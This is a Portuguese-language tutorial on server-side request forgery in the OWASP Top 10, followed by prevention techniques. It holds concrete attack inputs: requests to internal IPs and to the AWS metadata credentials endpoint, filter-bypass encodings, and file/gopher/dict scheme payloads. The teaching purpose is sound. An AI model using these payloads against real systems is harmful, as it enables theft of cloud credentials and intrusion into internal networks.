Intermediário Web — OWASP Top 10

SSRF — Acessar Serviços Internos via Servidor

Server-Side Request Forgery (SSRF) ocorre quando a aplicação aceita uma URL controlada pelo usuário e faz uma requisição HTTP a ela a partir do próprio servidor. O atacante usa o servidor como proxy para alcançar redes internas inacessíveis diretamente.

Cenário básico

Funcionalidade legítima: "Buscar preview de URL para compartilhamento"
Parâmetro: POST /preview?url=https://news.example.com/article

Exploração: POST /preview?url=http://192.168.1.1/admin
O servidor faz a requisição internamente e retorna a resposta ao atacante.

SSRF em ambiente cloud — metadata endpoint

Em AWS, todo servidor tem acesso ao endpoint de metadados:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Um SSRF bem-sucedido contra esse endpoint vaza credenciais temporárias do IAM Role associado à instância — comprometimento total da conta AWS.

Ataque:
POST /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role

Resposta:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}

GCP e Azure possuem endpoints semelhantes.

Bypass de validações ingênuas

// Blocklist baseada em string — facilmente burlada
Bloqueado:  http://localhost/
Bypass:     http://0.0.0.0/
Bypass:     http://[::1]/
Bypass:     http://127.0.0.1.nip.io/   (resolve para 127.0.0.1)
Bypass:     http://0177.0.0.1/         (octal)
Bypass:     http://2130706433/         (decimal)

Protocolos além de HTTP

file:///etc/passwd        — lê arquivo local
gopher://internal:25/...  — interage com SMTP interno
dict://internal:6379/     — acessa Redis sem senha

Prevenção

1. Allowlist de hosts/IPs permitidos

ALLOWED_HOSTS = {'api.parceiro.com', 'cdn.example.com'}

from urllib.parse import urlparse
parsed = urlparse(user_url)
if parsed.hostname not in ALLOWED_HOSTS:
    raise ValueError("Host não permitido")

2. Bloquear ranges privados após resolução DNS

import socket, ipaddress

ip = socket.gethostbyname(hostname)
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local:
    raise ValueError("Endereço privado não permitido")

3. Segmentação de rede

Servidores de aplicação não devem ter acesso direto à rede interna de administração. Firewall egress bloqueando 169.254.169.254 e 10.0.0.0/8 do processo da aplicação.

4. IMDSv2 na AWS

aws ec2 modify-instance-metadata-options \
  --http-tokens required \
  --instance-id i-xxxx

IMDSv2 exige header com token — requisição SSRF simples não consegue mais buscar credenciais.

5. Princípio do menor privilégio

IAM Roles com permissões mínimas limitam o dano se credenciais forem expostas.